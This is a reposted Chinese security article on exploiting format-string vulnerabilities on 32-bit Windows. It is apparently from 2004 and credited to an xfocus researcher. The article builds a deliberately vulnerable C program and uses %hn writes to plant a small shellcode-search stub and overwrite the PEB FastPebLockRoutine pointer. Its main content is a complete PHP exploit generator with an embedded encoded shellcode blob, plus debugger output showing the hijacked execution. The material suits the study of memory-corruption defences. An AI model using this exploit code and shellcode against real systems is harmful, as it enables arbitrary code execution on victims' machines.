注册本站  论坛  繁體中文

电脑技巧
手机 | MP3 | MP4 | 显卡 | 主板 | 显示器 | 光存储 | 笔记本 | 网络设备 | 移动存储 | 数码相机
键鼠 | CPU | 音箱 | GPS | 电视 | 服务器 | 投影机 | 机箱电源 | 品牌电脑 | 办公打印 |
| 网站首页 | Cisco | Windows | Linux | Java | Dotnet | Oracle | 网页设计 | 平面设计 | 安全 | 软件应用 | 电脑维修 | 办公维修 |
您现在的位置: 电脑技巧 >> 安全 >> 系统安全 >> 安全正文

Win32平台格式化串漏洞攻击技术

文章来源:ChinaITLab 收集整理 作者:佚名 更新时间:2004-12-17 【 】 【加入收藏

  本文缘起KF在0dd邮件列表的问题,由于Win32平台的格式化串漏洞相对很少,所以以前没有关注过。不过David Litchfield曾经写过Win32平台格式化串漏洞的利用技术,但是他用的方法并不是很好,于是有了此文。
  
  1.1 Win32平台格式化串与其它平台的不同
  在Linux平台下直接指定要访问的参数的"$"格式符在Win32下根本就不支持:
  D:\working\research\Win32 format\2004.10.27>type d_test.c
  main()
  {
  printf ("%6$d\n", 6, 5, 4, 3, 2, 1);
  }
  
  用VC6编译后运行查看结果: D:\working\research\Win32 format\2004.10.27>cl d_test.c
  Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8804 for 80x86
  Copyright (C) Microsoft Corp 1984-1998. All rights reserved.
  
  d_test.c
  Microsoft (R) Incremental Linker Version 6.00.8447
  Copyright (C) Microsoft Corp 1992-1998. All rights reserved.
  
  /out:d_test.exe
  d_test.obj
  
  D:\working\research\Win32 format\2004.10.27>d_test
  $d
  
  输出的居然就是"$d"。所以在Linux平台的那种"%%%d$hn"格式串在Win32下是无法利用,不过这也没关系,用其它格式符pop参数就可以了。存在的弊端就是构造格式串的字符串可能会稍长,但这在很多情况下是不影响的。
  
  另外还有一个问题就是Win32的堆栈地址不如Linux/Unix那么稳定,而且Win32堆栈地址一般都是0x0012e000这样的地址,最开始的一个字节包含0,所以覆盖函数保存在堆栈里的返回地址的方法就不是那么自如了(David Litchfield提到的方法是把堆栈地址放在格式串的最后,那么和格式串结束符0正好组合成完整的堆栈地址),选堆栈地址作为shellcode地址也不是那么稳定。下面我们将用实例演示Win32平台格式串更好的利用方法。
  
  1.2 Win32平台格式化串的利用方法演示
  首先我们构造一个存在格式化串漏洞的程序:
  
  /* Windows format strings demo
  *
  * san@xfocus.org
  * 2004.10.26
  */
  
  #include
  #define IOSIZE 1024
  
  int main(int argc, char **argv )
  {
  FILE * binFileH;
  char binFile[] = "binfile";
  char buf[IOSIZE];
  
  if ( (binFileH = fopen(binFile, "rb")) == NULL )
  {
  printf("can't open file %s!\n", binFile);
  exit();
  }
  
  memset(buf, 0, sizeof(buf));
  fread(buf, sizeof(char), IOSIZE, binFileH);
  
  printf("%d\n", strlen(buf));
  printf(buf);
  
  fclose(binFileH);
  }
  
  这是一个很简单的程序,它从当前目录的"binfile"文件读取内容,然后把这些内容直接作为printf的参数打印,典型的格式化串漏洞。构造一个包含如下内容的"binfile"文件:
  
  AAAABBBB|%x|%x|%x|%x|%x
  
  运行这个format程序:
  
  D:\working\research\Win32 format\2004.10.27>format
  23
  AAAABBBB|666e6962|656c69|41414141|42424242|7c78257c
  
  可以发现只需pop掉两次参数就能显示格式串最开始的内容。不过Win32下我们到底覆盖什么地址比较好呢?BasepCurrentTopLevelFilter指针是个不错主意,但是它的地址在各种版本都不相同。由于格式化串漏洞可以实现多次往任意地址写任意内容,那么我们是否可以写一段代码到一个地址,然后把这个地址写到Peb->FastPebLockRoutine指针,那么在程序退出时调用Peb->FastPebLockRoutine指针就能执行到我们的代码。我们的这个代码来实现搜索堆栈中shellcode的任务: 7FFDF250  54       PUSH ESP
  7FFDF251  5F       POP EDI
  7FFDF252  B8 90909090   MOV EAX,90909090
  7FFDF257  FC       CLD
  7FFDF258  F2:AF      REPNE SCAS DWORD PTR ES:[EDI]
  7FFDF25A  57       PUSH EDI
  7FFDF25B  C3       RETN
  
  这段代码的意思是从当前esp开始往高地址搜索包含0x90909090的内容,如果找到就进入该代码执行。往esp高地址还是低地址搜索取决于当时的情况。这个搜索代码有12个字节,加上覆盖地址的4个字节,一共是16个字节,要求往内存地址写8次。由于C语言处理字符串有些麻烦,所以我用PHP写了如下构造格式串的过程:
  
    /* Windows format strings demo
  *
  * san@xfocus.org
  * 2004.10.26
  */
  
  $flag = 2;
  $shellcode =
  "\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x58\x01\x80\x34\x0b\xf8\xe2\xfa".
  "\xeb\x05\xe8\xeb\xff\xff\xff\x11\xda\xf9\xf8\xf8\xa7\x9c\x59\xc8".
  "\xf8\xf8\xf8\xa8\x73\xb8\xf4\x73\xb8\xe4\x73\x90\xf0\xa8\x73\x0f".
  "\x92\xfa\xa1\x10\x39\xf8\xf8\xf8\x1a\x01\xa0\x73\xf8\x73\x90\xf0".
  "\xa0\x07\xce\x77\xb8\xd8\x07\x8e\xfc\x77\xb8\xdc\x92\xfb\xa1\x10".
  "\x5d\xf8\xf8\xf8\x1a\x01\x90\xcb\xca\xf8\xf8\x90\x8f\x8b\xca\xa7".
  "\xac\x07\xae\xf0\x73\x10\x92\xfd\xa1\x10\x73\xf8\xf8\xf8\x1a\x01".
  "\x79\x14\x68\xf9\xf8\xf8\xac\x90\xf9\xf9\xf8\xf8\x07\xae\xec\xa8".
  "\xa8\xa8\xa8\x92\xf9\x92\xfa\x07\xae\xe0\x73\x20\xcb\x38\xa8\xa8".
  "\xa8\x73\x04\x9e\x3f\xff\xfa\xf8\x9e\x73\xbe\xd0\x7e\x3c\x9e\x71".
  "\xbf\xfa\x92\xe8\xaf\xab\x07\xae\xe4\x92\xf9\xab\x07\xae\xd8\xa8".
  "\xa8\xab\x07\xae\xdc\x73\x20\x90\x9b\x95\x9c\xf8\x75\xec\xdc\x7b".
  "\x14\xac\x73\x04\x92\xec\xa1\xcb\x38\x71\xfc\x77\x1a\x03\x3e\xbf".
  "\xe8\xbc\x06\xbf\xc4\x06\xbf\xc5\x71\xa7\xb0\x71\xa7\xb4\x71\xa7".
  "\xa8\x75\xbf\xe8\xaf\xa8\xa9\xa9\xa9\x92\xf9\xa9\xa9\xaa\xa9\x07".
  "\xae\xf4\xcb\x38\xb0\xa8\x07\xae\xe8\xa9\xae\x73\x8d\xc4\x73\x8c".
  "\xd6\x80\xfb\x0d\xae\x73\x8e\xd8\xfb\x0d\xcb\x31\xb1\xb9\x55\xfb".
  "\x3d\xcb\x23\xf7\x46\xe8\xc2\x2e\x8c\xf0\x39\x33\xff\xfb\x22\xb8".
  "\x13\x09\xc3\xe7\x8d\x1f\xa6\x73\xa6\xdc\xfb\x25\x9e\x73\xf4\xb3".
  "\x73\xa6\xe4\xfb\x25\x73\xfc\x73\xfb\x3d\x53\xa6\xa1\x3b\x10\x21".
  "\x06\x07\x07\x06\xdc\x81\x9c\x22\x06\xf1\x6e\xca\x8c\x69\xf4\x31".
  "\x44\x5e\x93\x77\x0a\xe0\x99\xc5\x92\x4c\x78\xd5\xca\x80\x26\x9c".
  "\xe8\x5f\x25\xf4\x67\x2b\xb3\x49\xe6\x6f\xf9\xa4\xe9\x47\x1d";
  
  /*
  7FFDF250  54       PUSH ESP
  7FFDF251  5F       POP EDI
  7FFDF252  B8 90909090   MOV EAX,90909090
  7FFDF257  FC       CLD
  7FFDF258  F2:AF      REPNE SCAS DWORD PTR ES:[EDI]
  7FFDF25A  57       PUSH EDI
  7FFDF25B  C3       RETN
  */
  $fmt_array = array(
  0x7FFDF250 => "0x5f54",
  0x7FFDF252 => "0x90b8",
  0x7FFDF254 => "0x9090",
  0x7FFDF256 => "0xfc90",
  0x7FFDF258 => "0xaff2",
  0x7FFDF25A => "0xc357",
  0x7FFDF022 => "0x7ffd",
  0x7FFDF020 => "0xf250",
  );
  
  asort($fmt_array);
  print_r($fmt_array);
  $count = count($fmt_array);
  
  $head = "";
  $tail = "";
  $last = 0;
  foreach($fmt_array as $k => $v) {
  printf("%x\n", $k);
  $b0 = sprintf("%c", (($k >> 24) & 0xff));
  $b1 = sprintf("%c", (($k >> 16) & 0xff));
  $b2 = sprintf("%c", (($k >> 8) & 0xff));
  $b3 = sprintf("%c", (($k   ) & 0xff));
  
  if (!$last) {
  $last += 8*$count+8*$flag;
  }
  
  $head .= "AAAA".$b3.$b2.$b1.$b0;
  $tail .= "%".($v-$last)."c%hn";
  $last = $v;
  }
  $fmt_str = $head.(str_repeat("%.8x", $flag)).$tail;
  
  $fmt_str .= str_repeat("\x90", 100).$shellcode;
  
  $fp = fopen("binfile", "wb");
  fwrite($fp, $fmt_str);
  fclose($fp);
  ?>
  
  生成"binfile"文件后用SoftICE的Symbol Loader加载format.exe程序进行调试,首先对0x7ffdf020下一个读写断点:
  
  :bpm 7ffdf020
  :dd 7ffdf020
  :g
  
  运行4个g以后,0x7ffdf020的内容被改写为0x7ffdf250,而且0x7ffdf250开始的地址也写入了上面12个字节搜索shellcode的代码。这时在0x7ffdf250下一个断点:
  
  :bpx 7ffdf250
  :g
  
  运行两个g以后就进入该地区:
  
  001B:7FFDF250 54         PUSH   ESP
  001B:7FFDF251 5F         POP    EDI
  001B:7FFDF252 B890909090     MOV    EAX,90909090
  001B:7FFDF257 FC         CLD
  001B:7FFDF258 F2AF        REPNZ SCASD
  001B:7FFDF25A 57         PUSH   EDI
  001B:7FFDF25B C3         RET
  
  • 上一篇安全:

  • 下一篇安全:
  • 最 新 热 门
     加固Wi-Fi无线网络安全的17招式(下)
     面临什么新威胁 PC安全终极指南(下)
     面临什么新威胁 PC安全终极指南(中)
     面临什么新威胁 PC安全终极指南(上)
     加固Wi-Fi无线网络安全的17招式(上)
     Linux环境下入侵工具Knark的分析及防范
     电脑病毒预警 “求职信”病毒1月6日发作
     安全新威胁 电脑安全终极指南
     加固Wi-Fi无线网络安全的17招式
     六大预言:2008年网络安全趋势展望
    最 新 推 荐
     安全新威胁 电脑安全终极指南
     密码破解必备秘籍 密码遗忘通关手册
     利用输入法漏洞轻松破解Vista登录密码
     网页“黑手”如何攻击你的Windows系统
     为企业员工制定安全策略和步骤
     系统安全 利用Windows命令行保护系统
     不让自己的秘密流在别人的电脑中
     系统安全技巧:在XP中实现Vista的UAC功能
     安全技巧系列之如何强制用户关机或离线
     简单安全习惯 减少电脑资料丢失损坏几率
    相 关 文 章

    加固Wi-Fi无线网络安全的17招式(下)
    加固Wi-Fi无线网络安全的17招式(上)
    Linux环境下入侵工具Knark的分析及防范
    加固Wi-Fi无线网络安全的17招式
    Windows系统用户摆脱黑客攻击的方法
    最新下载:Norton 360 v2.0 公开测试版
    木马Win32.Puper.KL篡改IE默认搜索页地址
    “刀剑Online木马”关闭自动更新防火墙
    看黑客如何入侵Linux操作系统
    木马Backdoor.Win32.Agent.aga分析与清除

    | 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 | 网站公告

     

    Copyright 2006-2008 pcjx.com All Rights Reserved
    电脑技巧 版权所有 粤ICP备06059145号 地图
    本网站所有内容未经许可不得转载或做其他使用